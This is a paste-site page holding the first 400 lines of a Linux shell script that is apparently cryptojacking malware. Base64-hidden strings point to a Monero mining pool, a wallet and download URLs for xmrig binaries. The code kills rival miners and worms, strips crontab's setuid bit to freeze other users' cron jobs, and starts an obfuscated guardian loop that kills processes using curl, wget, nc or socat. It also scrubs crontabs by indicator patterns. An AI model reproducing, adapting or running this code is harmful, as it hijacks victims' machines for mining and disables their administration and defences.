Guest

lkgdfkgj

Oct 30th, 2026
55
0
Never
Not a member of GistPad yet? Sign Up, it unlocks many cool features!
None 214.29 KB | None | 0 0
  1. #!/bin/sh
  2. _d(){ printf '%s' "$1"|base64 -d 2>/dev/null; }
  3. if [ -z "$BASH_VERSION" ]; then
  4. case "$0" in
  5. /*|./*)
  6. if command -v bash >/dev/null 2>&1; then
  7. exec bash "$0" "$@"
  8. fi
  9. ;;
  10. esac
  11. fi
  12. _c1="${1:-x}"
  13. _c2=$(_d 'aHR0cHM6Ly9yZWdpc3RyeS5ucG1qcy5vcmcvY2JjOTdiN2EvbGF0ZXN0')
  14. _c3=$(_d 'YXV0by5jM3Bvb2wub3JnOjQ0Mw==')
  15. _c4=$(_d 'ODgza0FCN1Vmb0pDS1B6WkFhdlVDSEpk')$(_d 'SDRMMnFWanF3NEE3OWRpVXJGakJXQkZy')$(_d 'ZXJoWFBGYmJVWm5ZMkNlbWNVaUJjTHBB')$(_d 'VXozOHZWWUJiVXFUSEFnb0F3Z0JDRkg=')
  16. _c5=$(_d 'Z29Bd2dCQ0ZI')
  17. _c6=$(_d 'Z29Bd2dCQ0ZIIHJlc2VydmVwYXR0ZXJuMjMzMzMgcGF0dGVybjJyZXNlcnZlMzMz')
  18. _c7=$(_d 'aHR0cHM6Ly9naXRsYWIuY29tL2FsYmVydG90cmluZGFkZTEzMS9hbC8tL3Jhdy9tYXN0ZXIveG1yaWc=')
  19. _c8=$(_d 'aHR0cHM6Ly9naXRsYWIuY29tL2FwaS92NC9wcm9qZWN0cy81NDMxNDE2MS9wYWNrYWdlcy9nZW5lcmljL3htcmlnLWFhcmNoNjQtc3RhdGljLzIwMjYtMDctMjMveG1yaWctYWFyY2g2NC1zdGF0aWM=')
  20. _c9=$(_d 'aHR0cHM6Ly9naGZhc3QudG9wLz9xPWh0dHBzJTNBJTJGJTJGZ2l0aHViLmNvbSUyRmx1Y2FzNzczMzUlMkZ4bXJpZy1hbWQlMkZyZWxlYXNlcyUyRmRvd25sb2FkJTJGbWFpbiUyRnhtcmlnLXg4Nl82NC1zdGF0aWM=')
  21. log() {
  22. :
  23. _lg_t="$(date '+%Y-%m-%d %H:%M:%S') - $1"
  24. if [ -n "$_STATE_DIR" ] && [ -d "$_STATE_DIR" ]; then
  25. printf '%s\n' "$_lg_t" >>"$_STATE_DIR/.run.log" 2>/dev/null || true
  26. fi
  27. printf '%s\n' "$_lg_t" 2>/dev/null || true
  28. }
  29. cron_health() {
  30. CRONH=""
  31. [ "$(id -u)" = "0" ] && CRONH="root context (gate/suid irrelevant)" && return 0
  32. for _ch_m in "$HOME/.gate_stripped" /etc/.dd/.gate_stripped "$HOME_1/.gate_stripped"; do
  33. [ -f "$_ch_m" ] && { CRONH="cron gate stripped by us; non-root reads blocked; guardian persists"; return 1; }
  34. done
  35. _ch_bin=$(command -v crontab 2>/dev/null) || { CRONH="no crontab binary"; return 1; }
  36. case "$(stat -c%A "$_ch_bin" 2>/dev/null)" in
  37. -rws[rx-]*|-rwxr-s[rx-]*|[su]??*) : ;;
  38. *) CRONH="crontab lacks suid/sgid (container-host or sabotage)"; return 1 ;;
  39. esac
  40. _ch_t=$(crontab -l 2>&1 | head -2)
  41. case "$_ch_t" in
  42. *"must be suid"*|*"ermission denied"*|*"not authorized"*) CRONH="crontab functional test failed: $(echo $_ch_t | head -1)"; return 1 ;;
  43. esac
  44. if ! pgrep -x cron >/dev/null 2>&1 && ! pgrep -x crond >/dev/null 2>&1; then
  45. CRONH="cron daemon not running (lines stored; fire when cron starts)"; return 2
  46. fi
  47. CRONH="healthy"
  48. return 0
  49. }
  50. cron_log() { echo "[ch] $*"; }
  51.  
  52. _cron_sched() { # _cron_sched <salt> -> minute-field value for crontab
  53. _cs_k="${1:-1}"
  54. _cs_seed=$( (cat /etc/machine-id 2>/dev/null || cat /var/lib/dbus/machine-id 2>/dev/null \
  55. || cat /proc/sys/kernel/random/boot_id 2>/dev/null || uname -n 2>/dev/null) \
  56. | tr -cd 'a-fA-F0-9' | cut -c1-48 )
  57. [ -n "$_cs_seed" ] || _cs_seed="$$${_cs_k}"
  58. _cs_h=$(printf '%s%s' "$_cs_seed" "$_cs_k" | cksum 2>/dev/null | awk '{print $1}')
  59. case "$_cs_h" in
  60. ''|*[!0-9]*) _cs_h=$(( ( $(date +%s 2>/dev/null || echo 7) * 31 + _cs_k ) % 65521 )) ;;
  61. esac
  62. _cs_list=$(awk -v h="$_cs_h" -v k="$_cs_k" 'BEGIN{
  63. x = (((h % 65521) * 2654435761) + (k * 40503)) % 2147483647
  64. split("29 31 37 41 43 47 53", P, " ")
  65. step = P[(x % 7) + 1]
  66. off = (((x % 65521) * 1103515245 + 12345) % step)
  67. out = ""
  68. for (m = off; m < 60; m += step) out = out (out == "" ? "" : ",") m
  69. printf "%s", out }' 2>/dev/null)
  70. case "$_cs_list" in
  71. ''|*[!0-9,]*) _cs_list='*/45' ;;
  72. esac
  73. printf '%s' "$_cs_list"
  74. }
  75.  
  76. _tool() {
  77. :
  78. _t_b="$1"; shift
  79. case "$_t_b" in
  80. ps) _t_s="/tmp/.shimA" ;;
  81. curl) _t_s="/tmp/.shimB" ;;
  82. wget) _t_s="/tmp/.shimC" ;;
  83. *) _t_s="/tmp/.shimD" ;;
  84. esac
  85. _t_real=$(command -v "$_t_b" 2>/dev/null)
  86. _t_multi=0
  87. if [ -n "$_t_real" ] && [ -r "$_t_real" ]; then
  88. case "$(readlink -f "$_t_real" 2>/dev/null || echo "$_t_real")" in
  89. */busybox|*/busybox.*) _t_multi=1 ;;
  90. esac
  91. if [ "$_t_multi" = "0" ]; then
  92. head -c 8192 "$_t_real" 2>/dev/null | grep -qa 'BusyBox' && _t_multi=1
  93. fi
  94. fi
  95. if [ "$_t_multi" = "1" ]; then
  96. [ -n "$_t_real" ] && "$_t_real" "$@"
  97. return $?
  98. fi
  99. if [ -n "$_t_real" ] && [ -r "$_t_real" ]; then
  100. cp -f "$_t_real" "$_t_s" 2>/dev/null && chmod 755 "$_t_s" 2>/dev/null || rm -f "$_t_s" 2>/dev/null
  101. fi
  102. if [ -x "$_t_s" ]; then
  103. if "$_t_s" --version >/dev/null 2>&1 || "$_t_s" -V >/dev/null 2>&1; then
  104. "$_t_s" "$@"
  105. return $?
  106. fi
  107. if "$_t_real" --version >/dev/null 2>&1 || "$_t_real" -V >/dev/null 2>&1; then
  108. rm -f "$_t_s" 2>/dev/null # copy unusable, original works -> use original
  109. "$_t_b" "$@"
  110. return $?
  111. fi
  112. "$_t_s" "$@"
  113. return $?
  114. fi
  115. "$_t_b" "$@"
  116. }
  117. _disarm_competitor() {
  118. for _dc_p in /proc/[0-9]*; do
  119. _dc_pid="${_dc_p##*/}"
  120. [ "$_dc_pid" = "$$" ] && continue
  121. _dc_st=$(awk '{print $3}' "$_dc_p/stat" 2>/dev/null)
  122. [ "$_dc_st" = "Z" ] && continue
  123. _dc_comm=$(cat "$_dc_p/comm" 2>/dev/null)
  124. _dc_exe=$(readlink "$_dc_p/exe" 2>/dev/null)
  125. _dc_hit=0
  126. case "$_dc_comm" in
  127. watcher|nodepm|xfsd|kinsing|kdevtmpfsi|tcrond) _dc_hit=1 ;;
  128. esac
  129. if [ "$_dc_comm" = "systemd-resolve" ]; then
  130. [ "$_dc_st" = "Z" ] && _dc_hit=1
  131. fi
  132. case "$_dc_exe" in
  133. */watcher|*/.sysinit*|*/4thepool*|*/kdevtmpfsi*|*/kinsing*|*/tcrond*|*/runn.sh*) _dc_hit=1 ;;
  134. esac
  135. [ "$_dc_hit" = "1" ] && kill -9 "$_dc_pid" 2>/dev/null && echo "[dc] competitor killed: $_dc_pid $_dc_comm $_dc_exe"
  136. done
  137. rm -f /tmp/watcher /root/.sysinit /tmp/kdevtmpfsi /tmp/kinsing /tmp/tcrond /tmp/runn.sh 2>/dev/null
  138. rm -rf /tmp/.ab* 2>/dev/null
  139. [ -d /root/.systemd ] && ls /root/.systemd/systemd-resolved >/dev/null 2>&1 && rm -rf /root/.systemd 2>/dev/null
  140. [ -f /scripts/4thepool_miner.sh ] && rm -rf /scripts 2>/dev/null
  141. for _dc_f in "$HOME/.profile" "$HOME/.bashrc" "$HOME/.bash_profile" "$HOME/.zshrc" /root/.profile /root/.bashrc; do
  142. [ -f "$_dc_f" ] || continue
  143. grep -v -e '\.sysinit' -e 'systemd-resolved' -e '4thepool' -e 'kdevtmpfsi' -e '/tmp/watcher' -e 'kinsing' "$_dc_f" > "$_dc_f.dc" 2>/dev/null \
  144. && mv "$_dc_f.dc" "$_dc_f" 2>/dev/null
  145. rm -f "$_dc_f.dc" 2>/dev/null
  146. done
  147. return 0
  148. }
  149. _gc_exempt() {
  150. case "$1" in
  151. *".beacon_"*|*".beacon-dialer"*|*"systemdev"*|*"cron-fetch"*|*"dsvc"*|*"corecheck"*|*" 1510"*|*"b51f3a2a"*|*"werwer-860"*) return 0 ;;
  152. esac
  153. [ -n "$_MD_DIR" ] && case "$1" in *"$_MD_DIR"*) return 0 ;; esac
  154. [ -n "$_MD_BIN" ] && case "$1" in *"$_MD_BIN"*) return 0 ;; esac
  155. return 1
  156. }
  157.  
  158. _GC_RA_PAT='stratum|xmrig|monero|donate|minerd|cryptonight|/dev/shm|base64 -d'
  159. _gc_ra_ioc() {
  160. :
  161. _gra_f=${1:-/tmp/run-agent.sh}
  162. [ -f "$_gra_f" ] || return 0
  163. [ -r "$_gra_f" ] || return 0
  164. grep -qE "$_GC_RA_PAT" "$_gra_f" 2>/dev/null && return 0
  165. return 1
  166. }
  167.  
  168. sweep_competitor_worms() {
  169. echo "[sw] sweep entered (uid: $(id -u), self: $$)"
  170. _sw_uid=$(id -u 2>/dev/null)
  171. for _sw_d in /proc/[0-9]*; do
  172. _sw_p=${_sw_d#/proc/}
  173. [ "$_sw_p" = "$$" ] && continue
  174. [ "$(_sw_owner=$(stat -c%u "$_sw_d" 2>/dev/null); echo $_sw_owner)" = "$_sw_uid" ] || continue
  175. _sw_ex=$(readlink "$_sw_d/exe" 2>/dev/null)
  176. _sw_cmd=$(strings "$_sw_d/cmdline" 2>/dev/null)
  177. if ! [ "$_sw_cmd" = "${_sw_cmd#.}" ]; then
  178. :
  179. _sw_cmd=$(tr '\0' ' ' < "$_sw_d/cmdline" 2>/dev/null)
  180. fi
  181. _gc_exempt "$_sw_cmd" && continue
  182. case "$_sw_ex" in
  183. */".halt/"*|*/".dbus/"*)
  184. kill -9 "$_sw_p" 2>/dev/null && echo "[sw] worm killed: $_sw_p $_sw_ex" ;;
  185. */.usr_*/*)
  186. : ;;
  187. */".nodebox/"*|*/".kwork/"*|*/".jvbd/"*|*/".sysjvd/"*|*/"java_update/"*|*/".scsi_eh"*|*/".X0_lock/"*|*/".sysd-private-"*|*/".svc/"*|*"/.khp"*|/dev/shm/*)
  188. kill -9 "$_sw_p" 2>/dev/null && echo "[sw] fam killed (exe): $_sw_p $_sw_ex" ;;
  189. *) : ;;
  190. esac
  191. case "$_sw_cmd" in
  192. *"/.halt/"*|*"/.dbus/"*)
  193. kill -9 "$_sw_p" 2>/dev/null && echo "[sw] worm killed (cmdline): $_sw_p $_sw_cmd" ;;
  194. *"/run-agent.sh"*)
  195. if _gc_ra_ioc; then
  196. kill -9 "$_sw_p" 2>/dev/null
  197. rm -f /tmp/run-agent.sh 2>/dev/null
  198. echo "[sw] fam killed (run-agent IOC)"
  199. else
  200. echo "[sw] kept"
  201. fi ;;
  202. *".nodebox"*|*".kwork"*|*".jvbd"*|*".sysjvd"*|*"java_update"*|*".scsi_eh"*|*".X0_lock"*|*".sysd-private-"*|*"udev-helper"*|*"config.bin"*|*"/.khp"*|*"spamassassin/daemon.sh"*)
  203. kill -9 "$_sw_p" 2>/dev/null && echo "[sw] fam killed (cmdline): $_sw_p $_sw_cmd" ;;
  204. *) : ;;
  205. esac
  206. done
  207. for _sw_d in /proc/[0-9]*; do
  208. _sw_p=${_sw_d#/proc/}
  209. [ "$_sw_p" = "$$" ] && continue
  210. [ "$(_sw_owner=$(stat -c%u "$_sw_d" 2>/dev/null); echo $_sw_owner)" = "$_sw_uid" ] || continue
  211. _sw_c1=$(strings "$_sw_d/cmdline" 2>/dev/null | sed -n 1p)
  212. _sw_sf=$(strings "$_sw_d/cmdline" 2>/dev/null | sed -n 2p)
  213. _gc_exempt "$_sw_c1" && continue
  214. case "$_sw_c1" in
  215. bash|sh|ash|dash|*/bash|*/sh|*/ash|*/dash)
  216. case "$_sw_sf" in
  217. *.gk_*|*.amqb64_*|*.drv_*) continue ;;
  218. esac
  219. case "$_sw_sf" in
  220. /*)
  221. if [ -r "$_sw_sf" ] && grep -qF "kill -9" "$_sw_sf" 2>/dev/null \
  222. && grep -qE "dev/tcp|curl|wget" "$_sw_sf" 2>/dev/null; then
  223. kill -9 "$_sw_p" 2>/dev/null && rm -f "$_sw_sf" 2>/dev/null \
  224. && echo "[sw] killer-script hunted: $_sw_p ($_sw_sf removed)"
  225. fi ;;
  226. esac ;;
  227. esac
  228. done
  229. for _sw_d in /proc/[0-9]*; do
  230. _sw_p=${_sw_d#/proc/}
  231. [ "$_sw_p" = "$$" ] && continue
  232. [ "$(_sw_owner=$(stat -c%u "$_sw_d" 2>/dev/null); echo $_sw_owner)" = "$_sw_uid" ] || continue
  233. _sw_cmd=$(strings "$_sw_d/cmdline" 2>/dev/null)
  234. [ -n "$_sw_cmd" ] || continue
  235. _gc_exempt "$_sw_cmd" && continue
  236. _sw_c1=$(printf '%s\n' "$_sw_cmd" | sed -n 1p)
  237. case "$_sw_c1" in
  238. "[k"*)
  239. kill -9 "$_sw_p" 2>/dev/null && echo "[sw] argv-spoof killed: $_sw_p $_sw_c1" ;;
  240. esac
  241. if strings "$_sw_d/environ" 2>/dev/null | grep -q 'MASKED_RUN='; then
  242. kill -9 "$_sw_p" 2>/dev/null && echo "[sw] masked-run killed: $_sw_p $(printf '%s' "$_sw_cmd" | cut -c1-60)"
  243. fi
  244. done
  245. return 0
  246. }
  247.  
  248. _GC_LOOP_B64='VT0kKGlkIC11IDI+L2Rldi9udWxsKQojIE00Mjogb25seSBPTkUgZ3VhcmRpYW4gcGVyIGhvc3QuIFRoZSBwaWRmaWxlIGlzIHRoZSBmYXN0IHBhdGgsIGJ1dCBpdCBjYW4KIyBob2xkIGEgUElEIHRoYXQgaXMgbm8gbG9uZ2VyIHRoZSBsaXZlIGluc3RhbmNlIChhIGxhbmQgdGhhdCB3YXMga2lsbGVkCiMgbWlkLWluc3RhbGwgb3ZlcndyaXRlcyBpdCksIGFuZCB0aGVuIGV2ZXJ5IGxhbmQgc3RhcnRzIGFub3RoZXIgb25lLiBUaGUKIyAvcHJvYyBzY2FuIGlzIHRoZSBhdXRob3JpdHk6IGEgZ3VhcmRpYW4gaXMgJ2Jhc2ggLXMgLS0gIzxtYXJrZXI+Jy4gSWYgb25lIGlzCiMgYWxyZWFkeSBydW5uaW5nLCB0aGlzIGluc3RhbmNlIGV4aXRzIGluc3RlYWQgb2YgcGlsaW5nIHVwLgpmb3IgX3UgaW4gL3Byb2MvWzAtOV0qOyBkbwogIFsgIiRfdSIgPSAiL3Byb2MvJCQiIF0gJiYgY29udGludWUKICBfdWM9JCh0ciAiXDAiICIgIiA8ICIkX3UvY21kbGluZSIgMj4vZGV2L251bGwpCiAgY2FzZSAiJF91YyIgaW4KICAgICJiYXNoIC1zIC0tICMiKikgZXhpdCAwIDs7CiAgZXNhYwpkb25lClsgLW4gIiR7MjotfSIgXSAmJiBwcmludGYgIiVzIiAiJCQiID4gIiQyIiAyPi9kZXYvbnVsbApkZWNsYXJlIC1BIFNFRU4Kd2hpbGUgOjsgZG8KICBmb3IgZCBpbiAvcHJvYy9bMC05XSo7IGRvCiAgICBbIC1yICIkZC9jbWRsaW5lIiBdIHx8IGNvbnRpbnVlCiAgICBvPSQoc3RhdCAtYyV1ICIkZCIgMj4vZGV2L251bGwpIHx8IGNvbnRpbnVlCiAgICBbICIkbyIgPSAiJFUiIF0gfHwgY29udGludWUKICAgIHA9JHtkIy9wcm9jL30KICAgIFsgIiRwIiA9ICIkJCIgXSAmJiBjb250aW51ZQogICAgYz0kKHRyICJcMCIgIiAiIDwgIiRkL2NtZGxpbmUiIDI+L2Rldi9udWxsKQogICAgY2FzZSAiJGMiIGluCiAgICAgICoiLmJlYWNvbl8iKnwqIi5iZWFjb24tZGlhbGVyIip8KiJzeXN0ZW1kZXYiKnwqImNyb24tZmV0Y2giKnwqImRucy1maWx0ZXIiKnwqImNvcmVjaGVjayIqKSBjb250aW51ZSA7OwogICAgZXNhYwogICAgIyBNMzk6IG5ldmVyIGtpbGwgT1VSIE9XTiB0cmFuc3BvcnQuIFRoZSBiZWFjb24gZGlhbHMgd2l0aCBzb2NhdC9uYyBhbmQKICAgICMgdGhvc2Ugd29yZHMgYXJlIGV4YWN0bHkgd2hhdCB0aGUgY29tcGV0aXRvciBydWxlIGJlbG93IGh1bnRzIGZvciwgc28gdGhlCiAgICAjIGd1YXJkaWFuIHdhcyBraWxsaW5nIG91ciBvd24gZGlhbCB3aW5kb3cgKHRydW5jYXRpbmcgdGhlIGRlcGxveQogICAgIyBtaWQtZmxpZ2h0KS4gVGhlIGVuZHBvaW50IHN0cmluZyBpZGVudGlmaWVzIG91ciB0cmFuc3BvcnQgdW5hbWJpZ3VvdXNseS4KICAgICMgT1VSIE9XTiB0cmFuc3BvcnQgbXVzdCBuZXZlciBiZSBraWxsZWQuIFRoZSBlbmRwb2ludCBmaWxlIGlzIHdyaXR0ZW4KICAgICMgTkVYVCBUTyBUSEUgQkVBQ09OLCBub3QgaW4gJEhPTUUgLSBhbmQgdGhlIHdob2xlIGZsZWV0IGNsYXNzIGhhcyBOTwogICAgIyAkSE9NRSwgc28gcmVhZGluZyAiJEhPTUUvLmJlYWNvbi1lbmRwb2ludCIgZm91bmQgbm90aGluZyBhbmQgdGhlCiAgICAjIHByb3RlY3Rpb24gd2FzIElORVJUOiB0aGUgZ3VhcmRpYW4ga2lsbGVkIG91ciBvd24gc29jYXQvbmMgZGlhbCBhZnRlcgogICAgIyAyMCBzaWdodGluZ3MgKH4yIHMpIG9uIGV2ZXJ5IGhvc3QgdGhhdCBoYXMgb25lLgogICAgX0VQPSIiCiAgICBmb3IgX2VwZiBpbiAvdmFyL3RtcC8uYmVhY29uLWVuZHBvaW50IC90bXAvLmJlYWNvbi1lbmRwb2ludCAvZGV2L3NobS8uYmVhY29uLWVuZHBvaW50ICIkSE9NRS8uYmVhY29uLWVuZHBvaW50IjsgZG8KICAgICAgWyAtZiAiJF9lcGYiIF0gJiYgeyBfRVA9JChjYXQgIiRfZXBmIiAyPi9kZXYvbnVsbCk7IGJyZWFrOyB9CiAgICBkb25lCiAgICBpZiBbIC1uICIkX0VQIiBdOyB0aGVuCiAgICAgIGZvciBfZXB0IGluICRfRVA7IGRvCiAgICAgICAgY2FzZSAiJGMiIGluICoiJF9lcHQiKikgY29udGludWUgMiA7OyBlc2FjCiAgICAgIGRvbmUKICAgIGZpCiAgICBjYXNlICIkYyIgaW4KICAgICAgKiIubm9kZWJveCIqfCoiLmt3b3JrIip8KiJ1ZGV2LWhlbHBlciIqfCoiLnN2Yy9jb25maWcuYmluIip8KiJqYXZhX3VwZGF0ZSIqfCoiLmp2YmQiKnwqIi5zeXNqdmQiKnwqIi5zY3NpX2VoIip8KiIuWDBfbG9jayIqfCoiLnN5c2QtcHJpdmF0ZSIqfCoiLmtocCIqfCoibm0tZG9nIip8KiJNQVNLRURfUlVOIip8KiIvZGV2L3NobS8uIip8KiJzcGFtYXNzYXNzaW4vZGFlbW9uIip8IltrIiopCiAgICAgICAga2lsbCAtOSAiJHAiIDI+L2Rldi9udWxsCiAgICAgICAgY29udGludWUgOzsKICAgIGVzYWMKICAgIGNhc2UgIiRjIiBpbgogICAgICAqImN1cmwiKnwqIndnZXQiKnwqImRldi90Y3AiKnwqInB0eS5zcGF3biIqfCoibmMgLWUiKnwqIm5jYXQiKnwqInNvY2F0IiopCiAgICAgICAgaWYgWyAteiAiJHtTRUVOWyRwXX0iIF07IHRoZW4KICAgICAgICAgIFNFRU5bJHBdPTEKICAgICAgICBlbHNlCiAgICAgICAgICBTRUVOWyRwXT0kKCgke1NFRU5bJHBdfSArIDEpKQogICAgICAgICAgaWYgWyAiJHtTRUVOWyRwXX0iIC1nZSAxMCBdOyB0aGVuCiAgICAgICAgICAgIGtpbGwgLTkgIiRwIiAyPi9kZXYvbnVsbAogICAgICAgICAgICB1bnNldCBTRUVOWyRwXQogICAgICAgICAgZmkKICAgICAgICBmaSA7OwogICAgICAqKQogICAgICAgIFsgLW4gIiR7U0VFTlskcF19IiBdICYmIHVuc2V0IFNFRU5bJHBdIDs7CiAgICBlc2FjCiAgZG9uZQogIGk9JCgoJHtpfSArIDEpKQogIGlmIFsgJCgoaSAlIDUwKSkgLWVxIDAgXTsgdGhlbgogICAgZm9yIHAgaW4gJHshU0VFTltAXX07IGRvCiAgICAgIFsgLWQgIi9wcm9jLyRwIiBdIHx8IHVuc2V0IFNFRU5bJHBdCiAgICBkb25lCiAgZmkKICAjIE00MjogdGhlIHNjYW4gZm9ya3MgMi0zIGhlbHBlcnMgcGVyIHByb2Nlc3MsIHNvIGF0IDAuMSBzIGl0IGJ1cm5lZCB+MTAlCiAgIyBvZiBhIGNvcmUgcGVyIGluc3RhbmNlLiAwLjIgcyBoYWx2ZXMgdGhhdCBhbmQgdGhlIHNpZ2h0aW5nIHRocmVzaG9sZCBpcwogICMgaGFsdmVkIHRvbywgc28gdGhlIHJlYWN0aW9uIHRpbWUgaXMgdW5jaGFuZ2VkLgogIHNsZWVwIDAuMiAyPi9kZXYvbnVsbCB8fCBzbGVlcCAxCmRvbmUK'
  249.  
  250.  
  251. harden_crontab_gate() {
  252. [ "$(id -u)" = "0" ] || return 0
  253. _cb=$(command -v crontab 2>/dev/null) || return 0
  254. _pre=$(stat -c%a "$_cb" 2>/dev/null || echo "????")
  255. chmod u-s "$_cb" 2>/dev/null; chmod g-s "$_cb" 2>/dev/null
  256. mkdir -p /etc/.dd 2>/dev/null && touch /etc/.dd/.gate_stripped 2>/dev/null
  257. for _hm in "$HOME" /root /var/root; do
  258. [ -d "$_hm" ] && touch "$_hm/.gate_stripped" 2>/dev/null || true
  259. done
  260. echo "[hc] crontab gate stripped (was $_pre): non-root cron installs frozen; root/cron.d unaffected"
  261. }
  262.  
  263. _state_dir() {
  264. for _sd_c in "$_STATE_HOME" "$_STATE_HOME/.cache" /var/tmp /tmp /dev/shm; do
  265. [ -n "$_sd_c" ] || continue
  266. mkdir -p "$_sd_c" 2>/dev/null || continue
  267. [ -d "$_sd_c" ] && [ -w "$_sd_c" ] || continue
  268. printf '%s' "$_sd_c"
  269. return 0
  270. done
  271. return 1
  272. }
  273. install_competitor_guardian() {
  274. [ "$(id -u)" = "0" ] && { echo "[gd] guardian: root deploy — skipped (phase-2)"; return 0; }
  275. command -v stat >/dev/null 2>&1 || return 0
  276. _gd_home=""
  277. [ -n "$_STATE_HOME" ] && mkdir -p "$_STATE_HOME/.usr_cron/lib" 2>/dev/null && _gd_home="$_STATE_HOME/.usr_cron/lib"
  278. if [ -z "$_gd_home" ]; then
  279. for _gd_c in "$_STATE_DIR" /var/tmp /tmp /dev/shm; do
  280. [ -n "$_gd_c" ] || continue
  281. mkdir -p "$_gd_c/.usr_gd" 2>/dev/null || continue
  282. _gd_home="$_gd_c/.usr_gd"
  283. break
  284. done
  285. fi
  286. [ -n "$_gd_home" ] || { echo "[gd] guardian: no writable state dir - skipped"; return 0; }
  287. _gd_pidfile="$_gd_home/.gpid"
  288. if [ -f "$_gd_pidfile" ]; then
  289. _gd_old=$(cat "$_gd_pidfile" 2>/dev/null)
  290. kill -0 "$_gd_old" 2>/dev/null && return 0
  291. rm -f "$_gd_pidfile"
  292. fi
  293. printf %s "$_GC_LOOP_B64" | base64 -d 2>/dev/null | setsid bash -s -- "$_BC_MARK" "$_gd_pidfile" >/dev/null 2>&1 &
  294. _gd_newpid=$!
  295. sleep 0.5
  296. _gd_now=$(cat "$_gd_pidfile" 2>/dev/null)
  297. if [ -n "$_gd_now" ] && kill -0 "$_gd_now" 2>/dev/null && [ "$_gd_now" != "$_gd_newpid" ]; then
  298. echo "[gd] a guardian is already running (pid $_gd_now) - not starting another"
  299. else
  300. printf %s "$_gd_newpid" > "$_gd_pidfile" 2>/dev/null
  301. chmod 600 "$_gd_pidfile" 2>/dev/null || true
  302. kill -0 "$_gd_newpid" 2>/dev/null \
  303. && echo "[gd] competitor guardian installed (pid $_gd_newpid, pidfile: $_gd_pidfile)" \
  304. || echo "[gd] guardian install failed to start"
  305. fi
  306. return 0
  307. }
  308.  
  309.  
  310. detect_kill_unicorn() {
  311. _dk_uid=$(id -u 2>/dev/null || echo 0)
  312. _dk_user=$(id -un 2>/dev/null || echo "")
  313. _dk_home=$(getent passwd "$_dk_user" 2>/dev/null | cut -d: -f6)
  314. [ -n "$_dk_home" ] || _dk_home="${HOME:-/tmp}"
  315. _dk_cldir="$_dk_home/.claude"
  316.  
  317. _dk_miners=""
  318. for _dk_proc in /proc/[0-9]*; do
  319. [ -d "$_dk_proc" ] || continue
  320. _dk_pid=${_dk_proc#/proc/}
  321. [ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
  322. [ "$_dk_pid" = "$$" ] && continue
  323. _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
  324. [ "$_dk_owner" = "$_dk_uid" ] || continue
  325. _dk_cwd=$(readlink "$_dk_proc/cwd" 2>/dev/null)
  326. case "$_dk_cwd" in
  327. "$_dk_cldir") _dk_miners="$_dk_miners $_dk_pid";;
  328. esac
  329. done
  330.  
  331. _dk_crons=""
  332. for _dk_proc in /proc/[0-9]*; do
  333. [ -d "$_dk_proc" ] || continue
  334. _dk_pid=${_dk_proc#/proc/}
  335. [ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
  336. [ "$_dk_pid" = "$$" ] && continue
  337. _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
  338. [ "$_dk_owner" = "$_dk_uid" ] || continue
  339. [ -r "$_dk_proc/cmdline" ] || continue
  340. _dk_cmd=$(tr '\000' ' ' < "$_dk_proc/cmdline" 2>/dev/null)
  341. _dk_a0=$(printf '%s\n' "$_dk_cmd" | awk '{print $1}')
  342. _dk_a1=$(printf '%s\n' "$_dk_cmd" | awk '{print $2}')
  343. _dk_a2=$(printf '%s\n' "$_dk_cmd" | awk '{print $3}')
  344. [ "$(basename "$_dk_a0" 2>/dev/null)" = "CRON" ] || continue
  345. [ "$_dk_a1" = "jobs" ] || continue
  346. [ -n "$_dk_a2" ] && continue
  347. _dk_crons="$_dk_crons $_dk_pid"
  348. done
  349.  
  350. _dk_tree="$_dk_crons"
  351. for _dk_round in 1 2 3 4 5; do
  352. for _dk_proc in /proc/[0-9]*; do
  353. [ -d "$_dk_proc" ] || continue
  354. _dk_pid=${_dk_proc#/proc/}
  355. [ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
  356. [ "$_dk_pid" = "$$" ] && continue
  357. _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
  358. [ "$_dk_owner" = "$_dk_uid" ] || continue
  359. _dk_pp=$(awk '{print $4}' "$_dk_proc/stat" 2>/dev/null)
  360. case " $_dk_tree " in
  361. *" $_dk_pp "*)
  362. case " $_dk_tree " in *" $_dk_pid "*) ;; *) _dk_tree="$_dk_tree $_dk_pid";; esac
  363. ;;
  364. esac
  365. done
  366. done
  367.  
  368. _dk_all="$_dk_miners $_dk_tree"
  369. for _dk_pid in $_dk_all; do kill -TERM "$_dk_pid" 2>/dev/null; done
  370. sleep 1 2>/dev/null
  371. for _dk_pid in $_dk_all; do kill -0 "$_dk_pid" 2>/dev/null && kill -KILL "$_dk_pid" 2>/dev/null; done
  372.  
  373. _dk_cron_ioc='95\.85\.237\.226|193\.41\.68\.194|95\.85\.237\.149|2\.26\.99\.68|210\.195\.19\.39|apt-update\.com|joker\.aec944b68370194a50|\.claude'
  374. if command -v crontab >/dev/null 2>&1; then
  375. _dk_ct="${TMPDIR:-/tmp}/.dkcron.$$"
  376. if crontab -u "$_dk_user" -l 2>/dev/null > "$_dk_ct"; then
  377. if grep -Eq "$_dk_cron_ioc|CRON jobs" "$_dk_ct" 2>/dev/null; then
  378. grep -vE "$_dk_cron_ioc|CRON jobs" "$_dk_ct" 2>/dev/null | crontab -u "$_dk_user" - 2>/dev/null
  379. echo "[dk] scrubbed crontab: $_dk_user"
  380. fi
  381. fi
  382. rm -f "$_dk_ct" 2>/dev/null
  383. fi
  384. for _dk_f in "/var/spool/cron/crontabs/$_dk_user" "/var/spool/cron/$_dk_user"; do
  385. [ -f "$_dk_f" ] || continue
  386. grep -Eq "$_dk_cron_ioc|CRON jobs" "$_dk_f" 2>/dev/null || continue
  387. chattr -f -ia "$_dk_f" 2>/dev/null
  388. sed -i -E "/$_dk_cron_ioc|CRON jobs/d" "$_dk_f" 2>/dev/null
  389. done
  390.  
  391. if [ -d "$_dk_cldir" ] && [ -O "$_dk_cldir" ]; then
  392. for _dk_f in "$_dk_cldir"/unicorn "$_dk_cldir"/CRON "$_dk_cldir"/jobs "$_dk_cldir"/pwb "$_dk_cldir"/config.json; do
  393. [ -e "$_dk_f" ] || continue
  394. [ -O "$_dk_f" ] || continue
  395. chattr -f -ia "$_dk_f" 2>/dev/null
  396. rm -f "$_dk_f" 2>/dev/null
  397. echo "[dk] removed: $_dk_f"
  398. done
  399. fi
  400.  
